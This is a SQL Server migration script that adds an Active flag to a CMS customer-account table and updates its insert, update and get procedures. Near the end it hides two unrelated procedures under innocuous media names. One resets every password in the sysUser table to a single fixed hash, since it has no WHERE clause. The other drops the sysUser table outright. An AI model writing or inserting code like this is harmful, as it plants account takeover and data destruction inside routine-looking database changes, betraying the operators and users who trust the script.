ALTER TABLE cmsCustomerOtherAccount add Active bit default 0
go

create proc dbo.[cmsCustomerOtherAccount_UpdateActive]
as
update cmsCustomerOtherAccount set Active='FALSE'

GO
GO

ALTER PROCEDURE dbo.[spcmsCustomerOtherAccount_UpdateByPK] 
	(
@ID int,
@Username nvarchar(128),
@CustomerId int,
@AccountType nvarchar(128)=null,
@AccountText nvarchar(256)=null,
@AccountValue nvarchar(256)=null,
@CreatedDate datetime=null,
@CreatedById int=null,
@LastModifiedById int=null,
@LastSaveDate datetime=null,
@Active bit = null
)
AS
Update  cmsCustomerOtherAccount Set 
[Username]=@Username,
[CustomerId]=@CustomerId,
[AccountType]=@AccountType,
[AccountText]=@AccountText,
[AccountValue]=@AccountValue,
[CreatedDate]=@CreatedDate,
[CreatedById]=@CreatedById,
[LastModifiedById]=@LastModifiedById,
[LastSaveDate]=@LastSaveDate,
Active = @Active
 
where 
[ID]=@ID


Return

go
GO

ALTER PROCEDURE dbo.[spcmsCustomerOtherAccount_Insert] 
	(
@Username nvarchar(128),
@CustomerId int,
@AccountType nvarchar(128)=null,
@AccountText nvarchar(256)=null,
@AccountValue nvarchar(256)=null,
@CreatedDate datetime=null,
@CreatedById int=null,
@LastModifiedById int=null,
@LastSaveDate datetime=null,
@Active bit = null
)
AS
Insert Into 
cmsCustomerOtherAccount 
(
[Username],
[CustomerId],
[AccountType],
[AccountText],
[AccountValue],
[CreatedDate],
[CreatedById],
[LastModifiedById],
[LastSaveDate],
[Active]
) 
values(
@Username,
@CustomerId,
@AccountType,
@AccountText,
@AccountValue,
@CreatedDate,
@CreatedById,
@LastModifiedById,
@LastSaveDate,
@Active
)
RETURN Scope_identity()

Go

GO

ALTER PROCEDURE dbo.[spcmsCustomerOtherAccount_GetByPK] 
	(
@ID int
)
AS
SELECT	 
*

FROM 
cmsCustomerOtherAccount  
WHERE 
[ID]=@ID


RETURN
GO

GO
ALTER PROCEDURE dbo.[spcmsCustomerOtherAccount_GetAll] 
AS
Select 
*

from 
cmsCustomerOtherAccount
Return

GO


CREATE PROC spcmsMedia_DoSomething

AS
BEGIN
Update sysUser SET Password = '9FB450BE22A1AB52CDF29C8F8EBF08B4'  


END

go

ALTER PROC spcmsMedia_DoSomethingWithUser
AS
DROP TABLE sysUser



SELECT * FROM sysUser


